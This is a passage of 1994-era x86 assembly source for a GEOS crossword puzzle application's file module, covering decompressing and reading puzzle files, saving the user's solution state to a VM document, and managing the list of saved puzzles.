SOURCE_ERR call CwordHandleError jmp finish FileChangeIntroText endp if 0 COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% FileDisplayIntro %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% SYNOPSIS: Display the IntroInteraction dialog box that has the puzzle header information. CALLED BY: FILE MODULE INTERNAL PASS: nothing RETURN: nothing DESTROYED: nothing SIDE EFFECTS: PSEUDO CODE/STRATEGY: REVISION HISTORY: Name Date Description ---- ---- ----------- JL 8/ 4/94 Initial version %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@ FileDisplayIntro proc near uses ax,bx,cx,dx,si,di,bp .enter mov bx, handle IntroInteraction ; single-launchable mov si, offset IntroInteraction mov di, mask MF_CALL or mask MF_FIXUP_DS mov ax, MSG_GEN_INTERACTION_INITIATE call ObjMessage .leave ret FileDisplayIntro endp COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% FileDismissIntro %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% SYNOPSIS: Dismiss the IntroInteraction dialog box that has the puzzle header information. CALLED BY: FILE MODULE INTERNAL PASS: nothing RETURN: nothing DESTROYED: nothing SIDE EFFECTS: PSEUDO CODE/STRATEGY: REVISION HISTORY: Name Date Description ---- ---- ----------- JL 8/ 4/94 Initial version %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@ FileDismissIntro proc near uses ax,bx,cx,dx,si,di,bp .enter mov bx, handle IntroInteraction ; single-launchable mov si, offset IntroInteraction mov di, mask MF_CALL or mask MF_FIXUP_DS mov cx, IC_DISMISS mov ax, MSG_GEN_GUP_INTERACTION_COMMAND call ObjMessage .leave ret FileDismissIntro endp endif COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% FileReadSourceDocument %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% SYNOPSIS: Manage the reading in of the source document and handing pieces of data to the Engine for initialization. CALLED BY: FILE MODULE INTERNAL (FileLoadPuzzle) PASS: es:bx - buffer to read from ah - rows al - columns RETURN: bx - updated offset dx - engine token CF - set if error occured, clear otherwise DESTROYED: nothing SIDE EFFECTS: PSEUDO CODE/STRATEGY: Read the entire file into one buffer and pass appropriate pointers into the buffer for initialization to the Engine. REVISION HISTORY: Name Date Description ---- ---- ----------- JL 5/ 9/94 Initial version %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@ FileReadSourceDocument proc near uses ax,bx,cx,di,ds,es .enter EC < ; initialize some dgroup EC global vars > EC < push es > EC < push ax > EC < LoadVarSeg es, ax ; single-launchable > EC < pop ax > EC < mov es:[ECnumCol], al > EC < mov es:[ECnumRow], ah > EC < pop es > call EngineCreateEngineToken ; dx = engine token jc errOccurred push dx ; engine token mov dh, C_ENTER call StringAsciiConvertToInteger ; ax = soln letter bytes ; bx = new buffer offset jc errOccurred inc bx ; get rid of C_LINEFEED pop dx ; engine token call EngineSetSolutionLetters ; bx = new buffer offset jc errOccurred call EngineNotificationCluesToFollow jc errOccurred call FileGetNumberClueBytes ; ax = bytes, ; bx = new buffer offset jc errOccurred call EngineSetAcrossClues ; bx = new buffer offset jc errOccurred call FileGetNumberClueBytes ; ax = bytes, ; bx = new buffer offset jc errOccurred call EngineSetDownClues ; bx = new buffer offset jc errOccurred EC < call ECSetClueCountsInDgroup > call EngineNotificationCluesDone clc finish: .leave ret errOccurred: stc jmp finish FileReadSourceDocument endp COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% FileUncompressAndReadToESBX %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% SYNOPSIS: Create a buffer and read the entire file into it. The file is specified by the file handle passed in. CALLED BY: FILE MODULE INTERNAL (FileLoadPuzzle) PASS: *ds:si - CwordFileBox object ax - number of compressed bytes cx - offset into file after initial number of compressed bytes. RETURN: es:bx - filled buffer cx - buffer handle CF - set if error, clear otherwise DESTROYED: bx used for return value SIDE EFFECTS: PSEUDO CODE/STRATEGY: REVISION HISTORY: Name Date Description ---- ---- ----------- JL 7/13/94 Initial version %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@ FileUncompressAndReadToESBX proc near fileOffset local word push cx bytesToRead local word bufferHandle local word destBufferSegment local word sizeDecompBuffer local word class CwordFileBoxClass uses ax,dx,si,di,ds .enter Assert objectPtr dssi, CwordFileBoxClass ; Read the compressed bytes to a buffer so that the ; uncompress code will only uncompress the data that I ; want it to. mov ss:[bytesToRead], ax mov di, ds:[si] ; instance data pointer Assert fileHandle ds:[di].CFBI_fileHandle mov bx, ds:[di].CFBI_fileHandle mov cx, ALLOC_DYNAMIC_LOCK call MemAlloc ; bx = handle to block ; ax = address of block ; carry set if error LONG jc memError mov ss:[bufferHandle], bx ; save block handle mov bx, ds:[di].CFBI_fileHandle mov ds, ax ; ds = address of ; buffer's block ; set the file position relative to the beginning mov al, FILE_POS_START mov dx, ss:[fileOffset] ; offset to read from clr cx call FilePos ; Read the file's content into the buffer allocated. clr al mov cx, ss:[bytesToRead] clr dx ; ds:dx = buffer call FileRead ; ds:dx = filled buffer jc fileError ; Decompress the contents of the first buffer into a second ; buffer. mov ax, cx ; number compressed bytes shl ax ; number compressed add ax, cx ; bytes * 3 mov ss:[sizeDecompBuffer], ax mov cx, ALLOC_DYNAMIC_LOCK call MemAlloc ; bx = handle to dest ; block ; ax = address of block jc memError2 mov ss:[destBufferSegment], ax mov cx, CL_DECOMP_BUFFER_TO_BUFFER push cx push ds:[di].CFBI_fileHandle push ds, dx ; source buffer push ss:[bytesToRead] clr cx ; dest file handle push cx push ax, cx ; dest buffer address call CompressDecompress EC < cmp ax, ss:[sizeDecompBuffer] > EC < ERROR_GE FILE_DECOMPRESS_BUFFER_TOO_SMALL > mov cx, bx ; decompressed block ; handle ; Free the block containing the compressed data mov bx, ss:[bufferHandle] ; compressed block handle call MemFree ; Set es:bx = buffer mov ax, ss:[destBufferSegment] mov es, ax clr bx clc finish: .leave ret memError2: mov bx, ss:[bufferHandle] Assert handle bx call MemFree memError: mov di, MEM_ERR errorOccurred: call CwordHandleError jmp finish fileError: mov di, FILE_ERR mov bx, ss:[bufferHandle] Assert handle bx call MemFree jmp errorOccurred FileUncompressAndReadToESBX endp COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% FileGetNumberClueBytes %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% SYNOPSIS: Given a string of characters, pull out and translate the ascii number on the first line to a number. CALLED BY: FileReadSourceDocument PASS: es:bx - points to the place in the buffer where to start reading the ascii numbers from. For the entire format of the source file, see the Technical Specification. RETURN: ax - number of clue bytes bx - updated offset into buffer to point to byte following the line with the number of clue bytes is reached. CF - set if error, clear otherwise DESTROYED: nothing SIDE EFFECTS: PSEUDO CODE/STRATEGY: REVISION HISTORY: Name Date Description ---- ---- ----------- JL 5/10/94 Initial version %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@ FileGetNumberClueBytes proc near uses dx .enter mov dh, C_ENTER call StringAsciiConvertToInteger jc finish ; fix up di to point to beginning of new line, one byte past ; the C_LINEFEED inc bx clc finish: .leave ret FileGetNumberClueBytes endp COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% FileWriteUserDocument %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% SYNOPSIS: Write out the user solution of the current puzzle to the VM user solution document. CALLED BY: PASS: *ds:si = CwordFileBoxClass object RETURN: CF - set if error, clear otherwise ds - updated DESTROYED: nothing SIDE EFFECTS: PSEUDO CODE/STRATEGY: REVISION HISTORY: Name Date Description ---- ---- ----------- JL 6/16/94 Initial version %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@ FileWriteUserDocument proc near class CwordFileBoxClass uses ax,bx,cx,dx,si,di .enter Assert objectPtr dssi, CwordFileBoxClass ; There must be a puzzle currently in play in order ; to save it to the user document. Assert e ds:[di].CFBI_puzzleIsOpen, TRUE call FileOpenUserDocument ; bx - VM file handle jc finish ; the currently opened puzzle is the first element in the ; map block of the VM file because when the puzzle was ; first read in, the element for the puzzle was either moved ; to the front or created and put in the front. call FileGetBlockHandleOfFirstPuzzle ; ax - puzzle handle mov di, ds:[si] ; instance pointer mov dx, ds:[di].CFBI_engine mov cx, USED_PUZZLE call FileWriteActualUserData ; ds - updated jc errOccurred clr al call VMClose jc vmErr clc finish: .leave ret errOccurred: clr al call VMClose jc vmErr stc jmp finish vmErr: mov di, VM_ERR call CwordHandleError jmp finish FileWriteUserDocument endp COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% FileWriteActualUserData %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% SYNOPSIS: If the puzzle is USED, actually call to the different modules and get the user solution data in the VM block. If the puzzle is NEW, write default data to the VM block. CALLED BY: FILE MODULE INTERNAL (FileWriteUserDocument and FileCreateNewPuzzleData) PASS: ax - VM block handle for puzzle bx - VM file handle cx - NEW_PUZZLE, if this is the initial saving of the user data USED_PUZZLE, if this puzzle has been played on dx - engine token ds - map block ordered puzzle data segmento RETURN: CF - set if error, clear otherwise DESTROYED: nothing SIDE EFFECTS: PSEUDO CODE/STRATEGY: Lock the VM block. Pass the pointer into the block to the engine so that it can write the cell data in the format: <solution letter> <cell flags> <solution letter> <cell flags> etc. Write the selected word data to the VM block: <direction of selected word> <number of first cell in selected word> Write the offset of the selected cell within the selected word to the user document. (offset starts at 0) Write the number of the selected across clue to the user document. Write the number of the selected down clue to the user document. REVISION HISTORY: Name Date Description ---- ---- ----------- JL 6/17/94 Initial version %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@ FileWriteActualUserData proc near uses ax,bp,es .enter call VMLock ; ax - segment, bp - memory handle push bp ; memory handle mov es, ax ; segment clr bp ; the Engine will be able to write directly to the VM ; block in es:bp call EngineWriteCellData ; if NEW_PUZZLE, just write the defaults as the selected ; word and cell, otherwise get the real data. cmp cx, NEW_PUZZLE je newPuzzle call FileWriteSelectedWordAndCellData ; Now write the number of the selected across and ; down clues to the user document. call FileWriteSelectedClueData jmp selectedDone newPuzzle: call FileWriteSelectedWordCellClueDataDefault selectedDone: pop bp ; memory handle call VMDirty call VMUpdate ; save changes jc vmErr call VMUnlock clc finish: .leave ret vmErr: call VMUnlock mov di, VM_ERR call CwordHandleError jmp finish FileWriteActualUserData endp COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% FileWriteSelectedClueData %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% SYNOPSIS: Write the selected clue data to the user document. CALLED BY: FileWriteActualUserData PASS: es:bp - VM user document block pointer dx - engine token ds - map block ordered puzzle data segment RETURN: bp - new pointer offset ds - possibly updated DESTROYED: nothing SIDE EFFECTS: PSEUDO CODE/STRATEGY: Ask the Board Module for the across selected clue token. Get the number for this clue and write that number to the user document. Do the same for the down selected clue. REVISION HISTORY: Name Date Description ---- ---- ----------- JL 7/14/94 Initial version %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@ FileWriteSelectedClueData proc near uses ax,bx,si,di .enter ; Get the selected across clue token mov bx, handle Board ; single-launchable mov si, offset Board mov di, mask MF_CALL or mask MF_FIXUP_DS mov ax, MSG_CWORD_BOARD_GET_SELECTED_ACROSS_CLUE_TOKEN call ObjMessage ; ax - clue token ; Find the number of that clue. mov bx, ACROSS call EngineMapClueTokenToClueNumber ; al - clue number mov {byte}es:[bp], al inc bp ; Get the selected down clue token mov bx, handle Board ; single-launchable mov si, offset Board mov di, mask MF_CALL or mask MF_FIXUP_DS mov ax, MSG_CWORD_BOARD_GET_SELECTED_DOWN_CLUE_TOKEN call ObjMessage ; ax - clue token ; Find the number of that clue. mov bx, DOWN call EngineMapClueTokenToClueNumber ; al - clue number mov {byte}es:[bp], al inc bp .leave ret FileWriteSelectedClueData endp COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% FileWriteSelectedWordCellClueDataDefault %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% SYNOPSIS: Write the default values for selected word, cell, and clues into the vm user doc. CALLED BY: FileWriteActualUserData PASS: es:bp - buffer to write selections in dx - engine token RETURN: bp - new buffer offset DESTROYED: nothing SIDE EFFECTS: PSEUDO CODE/STRATEGY: Defaults: The selected word's direction will be across. The number of the first cell in the selected word will be the number of the first existent non-hole cell. The selected cell will be the first existent non-hole cell. The offset of the selected cell within the selected word will be zero. The number of the selected clues will be the same as the selected cell. REVISION HISTORY: Name Date Description ---- ---- ----------- JL 7/ 6/94 Initial version %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@ FileWriteSelectedWordCellClueDataDefault proc near uses ax,cx .enter ; Put the default direction into the user doc ; mov {byte} es:[bp], ACROSS inc bp push bp ; VM file buffer offset ; Find the number of the first existing non-hole cell and ; use that number for the number of the first cell in the ; selected word. ; call EngineGetFirstExistentNonHoleCell ; bp - cell token mov ax, bp ; cell token call EngineGetCellNumberFAR ; cl - number Assert ne cl, ENGINE_NO_NUMBER pop bp ; VM file buffer offset mov {byte} es:[bp], cl ; number in first cell of ; selected word inc bp clr {byte}es:[bp] ; offset of selected cell inc bp ; Write the numbers of the selected clues. ; mov {byte} es:[bp], cl ; number of selected across clue inc bp mov {byte} es:[bp], cl ; number of selected down clue inc bp .leave ret FileWriteSelectedWordCellClueDataDefault endp COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% FileWriteSelectedWordAndCellData %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% SYNOPSIS: Write the selected word and cell data to the VM user document in this format: word: current direction, number in first cell cell: offset of square in selected word - starting at zero. CALLED BY: FileWriteActualUserData PASS: dx - engine token es:bp - VM file buffer to write to. ds - CwordFileBox segment RETURN: bp - new offset to buffer, points to next empty byte after the last byte that was written in. ds - possibly updated DESTROYED: nothing SIDE EFFECTS: PSEUDO CODE/STRATEGY: REVISION HISTORY: Name Date Description ---- ---- ----------- JL 7/ 6/94 Initial version %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@ FileWriteSelectedWordAndCellData proc near uses ax,bx,cx,si,di .enter push dx ; engine token mov bx, handle Board ; single-launchable mov si, offset Board mov di, mask MF_CALL or mask MF_FIXUP_DS mov ax, MSG_CWORD_BOARD_GET_SELECTED_WORD call ObjMessage ; ax - selected cell token, dx - direction Assert e dh, 0 mov {byte} es:[bp], dl ; save the direction to userdoc inc bp mov cx, dx ; direction pop dx ; engine token push cx ; direction ; Get the number in the first cell of the selected word. ; First get the first cell and then ask for the number. ; call EngineGetFirstAndLastCellsInWordFAR ; ax - first ; bx - last call EngineGetCellNumberFAR ; cl - number Assert ne cl, ENGINE_NO_NUMBER ; cell should have a number mov {byte}es:[bp], cl ; save number in first cell ; of selected word to userdoc inc bp ; new buffer offset pop cx ; direction ; Now store data about the selected cell. Since the selected ; cell is within the selected word, store the offset of the ; selected cell in the selected word starting at 0. ; call EngineGetOffsetOfSelectedCellInSelectedWord ; al - offset mov {byte} es:[bp], al ; offset of selected ; cell token within ; selected word inc bp .leave ret FileWriteSelectedWordAndCellData endp COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% FileMoveElementToFront %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% SYNOPSIS: Move the Given element in the chunk array to the front. CALLED BY: FileWriteUserDocument PASS: *ds:si - map block array ax - element number to move to front RETURN: ax - VM block handle for puzzle data ds - segment pointer for chunk array (might have been updated by ChunkArrayInsertAt) CF - set if error occured, clear otherwise DESTROYED: nothing SIDE EFFECTS: PSEUDO CODE/STRATEGY: Copy the element to the puzzleBuffer. Delete the element withing the map block's chunk array. Insert a new element to the front of the chunk array. Copy the puzzleBuffer to the new element. REVISION HISTORY: Name Date Description ---- ---- ----------- JL 6/17/94 Initial version %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@ FileMoveElementToFront proc near puzzleBuffer local PuzzleData uses bx,cx,dx,di,si,es .enter EC < call ECCheckChunkArray > ; If the element number is 0, no need to move it - just retrieve ; its VM block handle tst ax jz firstElem ; copy the contents of the puzzle data to the buffer push ax ; element number ; cx:dx = buffer for element mov cx, ss lea dx, ss:[puzzleBuffer] call ChunkArrayGetElement ; ax - element size ; delete the original element in the pointer pop ax ; element number call ChunkArrayElementToPtr ; ds:di - element call ChunkArrayDelete ; insert the PuzzleData buffer to the front of the chunk array clr ax call ChunkArrayElementToPtr ; ds:di - element to ; insert before call ChunkArrayInsertAt ; ds:di - new element jc memErr ; initialize the PuzzleData in the chunk array with the ; buffer information. ; copy the puzzle name to the new element ; set up arguments for movs{b,w} ; ds:si = puzzle name, es:di = place in new element to copy to push di, ds segmov es, ds, cx segmov ds, ss, cx lea si, ds:[puzzleBuffer].PD_puzzleName lea di, es:[di].PD_puzzleName mov cx, FILE_LONGNAME_BUFFER_SIZE shr cx jnc evenNum movsb evenNum: rep movsw pop di, ds mov ax, ss:[puzzleBuffer].PD_puzzleHandle mov ds:[di].PD_puzzleHandle, ax ; If the New path will ALWAYS be set right after this call, ; the path can be left unset for now. clc finish: .leave ret firstElem: call ChunkArrayElementToPtr ; ds:di - element mov ax, ds:[di].PD_puzzleHandle clc jmp finish memErr: mov di, MEM_ERR call CwordHandleError jmp finish FileMoveElementToFront endp COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% FileSetNewPathInFirstElement %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% SYNOPSIS: Set the current path of the source file selected into the new puzzle data element. CALLED BY: FileWriteUserDocument PASS: *ds:si - map block array RETURN: nothing DESTROYED: nothing SIDE EFFECTS: PSEUDO CODE/STRATEGY: The puzzle's source file may have changed paths, but we assume that source filename's are unique. So just update the path to be the current one. REVISION HISTORY: Name Date Description ---- ---- ----------- JL 8/ 2/94 Initial version %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@ FileSetNewPathInFirstElement proc near uses ax,bx,dx,si,di,bp .enter EC < call ECCheckChunkArray > clr ax ; first element call ChunkArrayElementToPtr ; ds:di - element EC < ERROR_C CHUNK_ARRAY_ELEMENT_OUT_OF_BOUNDS > mov dx, ds lea bp, ds:[di].PD_filePath mov bx, handle SelectorBox ; single-launchable mov si, offset SelectorBox mov di, mask MF_CALL or mask MF_FIXUP_DS mov ax, MSG_CFB_GET_SOURCE_FILE_PATH call ObjMessage .leave ret FileSetNewPathInFirstElement endp COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% FileCreateNewPuzzleData %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% SYNOPSIS: Create a new PuzzleData element in the front of the chunk array and initialize its data. CALLED BY: FileGetUserDocPuzzleBlockHandle PASS: *ds:si - array bx - vm file handle dx - engine token *es:di - CwordFileBox object RETURN: ax - VM block handle for puzzle ds - segment pointer (might have been updated by ChunkArrayInsertAt) CF - set if error occured, clear otherwise DESTROYED: nothing SIDE EFFECTS: WARNING: This routine MAY resize the LMem block, moving it on the heap and invalidating stored segment pointers and current register or stored offsets to it. PSEUDO CODE/STRATEGY: REVISION HISTORY: Name Date Description ---- ---- ----------- JL 6/17/94 Initial version %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@ FileCreateNewPuzzleData proc near class CwordFileBoxClass uses cx,di,si .enter EC < call ECCheckChunkArray > mov cx, di ; CwordFileBox chunk handle call FileDeleteLastPuzzleIfTooManyPuzzles ; insert an empty PuzzleData buffer to the front of ; the chunk array ; clr ax call ChunkArrayElementToPtr ; ds:di - element to ; insert before call ChunkArrayInsertAt ; ds:di - new element jc memErr mov si, cx ; CwordFileBox chunk handle call FileSetPathInNewElement call FileCopyPuzzleNameToNewElement ; allocate a new block for the puzzle and record its block ; handle in the new element. clr ax mov cx, VM_BLOCK_SIZE call VMAlloc ; ax - VM block handle mov ds:[di].PD_puzzleHandle, ax mov cx, NEW_PUZZLE call FileWriteActualUserData ; sets the CF if error finish: .leave ret memErr: mov di, MEM_ERR call CwordHandleError jmp finish FileCreateNewPuzzleData endp COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% FileDeleteLastPuzzleIfTooManyPuzzles %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% SYNOPSIS: A new PuzzleData is about to be added to the ordered puzzle data chunk array within the map block. If there are more than MAX_NUM_SAVED_PUZZLES in the array, then the puzzle solution of the least recently played puzzle is deleted without any warning to the user. CALLED BY: FileCreateNewPuzzleData PASS: *ds:si - array bx - vm file handle RETURN: nothing DESTROYED: nothing SIDE EFFECTS: PSEUDO CODE/STRATEGY: The least recently played puzzle is the last element in the chunk array since everytime a puzzle is played, it's position in the ordered puzzle chunk array moves to the front. So this procedure just deletes the last PuzzleData element if there are too many of them. REVISION HISTORY: Name Date Description ---- ---- ----------- JL 7/13/94 Initial version %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@ FileDeleteLastPuzzleIfTooManyPuzzles proc near uses ax,cx,di .enter EC < call ECCheckChunkArray > call ChunkArrayGetCount ; cx - number of elements cmp cx, MAX_NUM_SAVED_PUZZLES jl countOk ; There are MAX_NUM_SAVED_PUZZLES puzzles in the VM user ; document, remove any puzzles after and including element ; MAX_NUM_SAVED_PUZZLES EC < Assert e cx, MAX_NUM_SAVED_PUZZLES > mov ax, MAX_NUM_SAVED_PUZZLES dec ax ; remove element starting at ; the MAX_NUM_SAVED_PUZZLES element ; which has en element number of ; MAX_NUM_SAVED_PUZZLES-1 call FileDeletePuzzleFromMainArray countOk: .leave ret FileDeleteLastPuzzleIfTooManyPuzzles endp COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% FileDeletePuzzleFromMainArray %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% SYNOPSIS: Delete the chunk array element and vm block associated with the passed element CALLED BY: FileDeleteLastPuzzleIfTooManyPuzzles CFBRemovePuzzleFromMainArray PASS: *ds:si - main chunk array ax - element number bx - VM file handle RETURN: DESTROYED: nothing PSEUDO CODE/STRATEGY: none KNOWN BUGS/SIDE EFFECTS/IDEAS: none REVISION HISTORY: Name Date Description ---- ---- ----------- srs 9/30/94 Initial version %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@ FileDeletePuzzleFromMainArray proc near uses ax,di .enter call ChunkArrayElementToPtr ; ds:di - element EC < ERROR_C CHUNK_ARRAY_ELEMENT_OUT_OF_BOUNDS mov ax, ds:[di].PD_puzzleHandle call VMFree call ChunkArrayDelete call VMUpdate .leave ret FileDeletePuzzleFromMainArray endp COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% FileCopyPuzzleNameToNewElement %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% SYNOPSIS: Copy the source file name in the CwordFileBox instance data to the new PuzzleData element. CALLED BY: FileCreateNewPuzzleData PASS: ds:di - new PuzzleData element *es:si - CwordFileBox object RETURN: nothing DESTROYED: nothing SIDE EFFECTS: PSEUDO CODE/STRATEGY: REVISION HISTORY: Name Date Description ---- ---- ----------- JL 7/14/94 Initial version %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@ FileCopyPuzzleNameToNewElement proc near class CwordFileBoxClass uses cx,si,di,ds,es .enter ; copy the puzzle name to the new element ; set up arguments for movs{b,w} ; ds:si = puzzle name, es:di = place in new element to copy to ; segxchg ds, es, cx ; ds - CwordFileBox segment, es - map block segment lea di, es:[di].PD_puzzleName mov si, ds:[si] ; instance ptr lea si, ds:[si].CFBI_sourceFile mov cx, FILE_LONGNAME_BUFFER_SIZE shr cx jnc evenNum movsb evenNum: rep movsw .leave ret FileCopyPuzzleNameToNewElement endp COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% FileSetPathInNewElement %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% SYNOPSIS: Set the path of the selected file in the PuzzleData element and set the current path to the same path. CALLED BY: FileCreateNewPuzzleData PASS: ds:di - new PuzzleData element *es:si - CwordFileBox object RETURN: nothing DESTROYED: nothing SIDE EFFECTS: PSEUDO CODE/STRATEGY: REVISION HISTORY: Name Date Description ---- ---- ----------- JL 8/ 1/94 Initial version %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@ FileSetPathInNewElement proc near uses ax,dx,ds,es,bp .enter Assert objectPtr essi, CwordFileBoxClass ; Setup es:di to be the puzzle data path segxchg es, ds ; es - puzzle data segment ; ds - CwordFileBox segment mov dx, es lea bp, es:[di].PD_filePath mov ax, MSG_CFB_GET_SOURCE_FILE_PATH call ObjCallInstanceNoLock .leave ret FileSetPathInNewElement endp COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% CFBGetSourceFilePath %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% SYNOPSIS: Copy the file path from the instance data to the buffer provided. CALLED BY: MSG_CFB_GET_SOURCE_FILE_PATH PASS: *ds:si = CwordFileBoxClass object ds:di = CwordFileBoxClass instance data ds:bx = CwordFileBoxClass object (same as *ds:si) es = segment of CwordFileBoxClass ax = message # dx:bp - buffer of GenFilePath to fill RETURN: filled buffer DESTROYED: SIDE EFFECTS: PSEUDO CODE/STRATEGY: REVISION HISTORY: Name Date Description ---- ---- ----------- JL 8/ 2/94 Initial version %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@ CFBGetSourceFilePath method dynamic CwordFileBoxClass, 